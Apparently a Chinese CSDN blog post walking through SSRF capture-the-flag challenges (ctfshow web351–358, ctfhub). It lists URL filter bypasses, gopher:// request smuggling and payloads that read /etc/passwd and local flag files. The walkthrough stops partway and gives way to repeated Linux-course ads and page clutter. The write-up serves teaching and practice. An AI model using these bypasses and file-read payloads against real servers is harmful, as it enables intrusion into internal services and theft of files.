以题为例浅谈SSRF,Linux运维高级开发面试题以及答案

}
echo file_get_contents($_GET[‘url’]);
?>


payload



ssrf.php?url=httpsssss://…/…/…/…/…/…/etc/passwd


还有一些关于函数的绕过这位大佬写的非常详细:[CTFshow刷题日记-WEB-SSRF(web351-360)SSRF总结\_ctf ssrf题型总结-CSDN博客]( )


它在绕过中关于url的相关的写的非常的详细,可以看看


### 绕过总结


#### 利用@


如:http://example@127.0.0.1


http://www.baidu.com@10.10.10.10和http://10.10.10.10请求时相同的


#### 添加端口号


http://127.0.0.1:8080


#### 利用短地址


http://dwz.cn/11SMa


#### ip地址进制转换


以192.168.109.150为例


首先,转换16进制:c0.a8.6d.96


接着,转换为八进制:300.250.155.226


即192.168.109.150=300250155226 访问:http://00300250155226


## 题目示例


多说无益,以题见真章


### ctfshow web入门 ssrf


#### web351


打开题目看到源码



<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); ?>

对url进行了一系列的curl相关的操作,但并没有过滤任何东西


直接post就行


payload



url=127.0.0.1/flag.php


#### web352


看源码



<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_match('/localhost|127.0.0/')){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?>

比上一道题多了一个正则并且要求前缀是一个http或https,直接用0进行绕过,前面的绕过已经提及到了就不多说了;


payload



http://0/flag.php


#### web353


看源码



<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_match('/localhost|127\.0\.|\。/i', $url)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?>

这道题又多加了一个过滤,过滤了.0,接着用.0.0.0.0进行绕过,上面的绕过已经写过了,在这里就不多说了;


payload



?url=http://0.0.0.0/flag.php


#### web354


源代码



<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_match('/localhost|1|0|。/i', $url)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?> hacker

这道题又多学了一种姿势,用sudo.cc指向127.0.0.1


payload



url=http://sudo.cc/flag.php


#### web355


源码



<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ $host=$x['host']; if((strlen($host)<=5)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?>

限制了长度,绕过payload



http://0/flag.php


#### web356


源码



<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ $host=$x['host']; if((strlen($host)<=3)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?>

还是限制了长度上一道题的payload仍然可以用;


#### web357


这道题留在后面,统一知识点进行解释


#### web358


源码



<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){ echo file_get_contents($url); } ``` 这道题要求以http开头以show结尾 payload ``` url=http://ctf.@127.0.0.1/flag.php?show ``` 在这里介绍下parse\_url()函数的利用 它是对于url的一个分解 举例代码 ``` <?php $url = 'http://ctf.@127.0.0.1/flag.php?show'; $x = parse_url($url); var_dump($x); ?>

//运行结果:
array(5) {
[“scheme”]=>
string(4) “http”
[“host”]=>
string(9) “127.0.0.1”
[“user”]=>
string(4) “ctf.”
[“path”]=>
string(9) “/flag.php”
[“query”]=>
string(4) “show”
}


后面两道题也是统一进行解释说明


### 靶场ctfhub


在ctfhub中对于ssrf的知识点有以下几种,


#### 内网访问


给的提示:尝试访问位于127.0.0.1的flag.php吧


打开后直接去访问就可以得到flag了


payload



?url=127.0.0.1/flag.php


#### 伪协议读取文件


直接用伪协议读取flag文件



?url=file://var/www/html/flag.php


记得访问之后要查看源码才能得到flag


#### 端口扫描


给了提示:来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦,


直接抓包,在端口处添加变量在8000到9000之间进行爆破,找到和其它字段数长度不一样的就可以得到flag了


用bp爆破


#### POST请求


这道题给的提示:这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年


打开之后什么都没有,去访问源码



?url=file:///var/www/html/index.php
?url=file:///var/www/html/flag.php


查看后得到两段源码


index.php的源码



<?php error_reporting(0); if (!isset($_REQUEST['url'])){ header("Location: /?url=_"); exit; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_exec($ch); curl_close($ch); ``` flag.php源码 ``` <?php error_reporting(0); if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") { echo "Just View From 127.0.0.1"; return; } $flag=getenv("CTFHUB"); $key = md5($flag); if (isset($_POST["key"]) && $_POST["key"] == $key) { echo $flag; exit; } ?>

这里需要利用gopher://协议,先介绍一下gopher://协议的一些基本情况



Gopher协议没有默认端口,需要制定POST方法,回车换行使用%0d%0a,参数之间的分隔符也用URL编码,其他与HTTP协议类似。

在访问?url=127.0.0.1/flag.php时,它告诉我们需要从127.0.0.1中来访问,那就是从内网进行访问,内网进行访问需要gopher://协议,进行POST请求;


构造gopher://协议,进行请求;


需要构造以下payload



POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=7a63523334ee824db18990ffc181d204


开始构造,有两种方法进行构造,第一种方法就是自己进行url编码,将上面这些内容进行两次url编码;在进行编码时需要注意以下方面


**自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**

**深知大多数Linux运维工程师,想要提升技能,往往是自己摸索成长或者是报班学习,但对于培训机构动则几千的学费,着实压力不小。自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**

**因此收集整理了一份《2024年Linux运维全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友,同时减轻大家的负担。**
![img](https://img-blog.csdnimg.cn/img_convert/d4ee733f39b2bd78061966d0778a773a.png)
![img](https://img-blog.csdnimg.cn/img_convert/19f17f575d007eca27dbcc3aea2ac5c0.png)
![img](https://img-blog.csdnimg.cn/img_convert/7046276109de6ac39d5ac949c1833207.png)
![img](https://img-blog.csdnimg.cn/img_convert/31e1d11304abdde196776c3179532ec3.png)
![img](https://img-blog.csdnimg.cn/img_convert/6af288c8aef65d55c6807cf5585eadee.png)

**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上Linux运维知识点,真正体系化!**

**由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新**

**如果你觉得这些内容对你有帮助,可以添加VX:vip1024b (备注Linux运维获取)**
![img](https://img-blog.csdnimg.cn/img_convert/8e0d108978ea5444eef18205bf54f56d.jpeg)



### 最后的话

最近很多小伙伴找我要Linux学习资料,于是我翻箱倒柜,整理了一些优质资源,涵盖视频、电子书、PPT等共享给大家!

### 资料预览

给大家整理的视频资料:

![](https://img-blog.csdnimg.cn/img_convert/181b515b779ef53521fccaba14ef8e73.png)

给大家整理的电子书资料:

  

![](https://img-blog.csdnimg.cn/img_convert/6fa43e297edbffbc8453022c4c4e8c15.png)



**如果本文对你有帮助,欢迎点赞、收藏、转发给朋友,让我有持续创作的动力!**


**一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
![img](https://img-blog.csdnimg.cn/img_convert/b69d8452daf54073b82a69e3b0e0b700.jpeg)

于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新**

**如果你觉得这些内容对你有帮助,可以添加VX:vip1024b (备注Linux运维获取)**
[外链图片转存中...(img-t0qMZ6GG-1712606385720)]



### 最后的话

最近很多小伙伴找我要Linux学习资料,于是我翻箱倒柜,整理了一些优质资源,涵盖视频、电子书、PPT等共享给大家!

### 资料预览

给大家整理的视频资料:

[外链图片转存中...(img-oAowPcJ9-1712606385720)]

给大家整理的电子书资料:

  

[外链图片转存中...(img-cEe0zFnP-1712606385720)]



**如果本文对你有帮助,欢迎点赞、收藏、转发给朋友,让我有持续创作的动力!**


**一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
[外链图片转存中...(img-T3bzKPOC-1712606385721)]

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值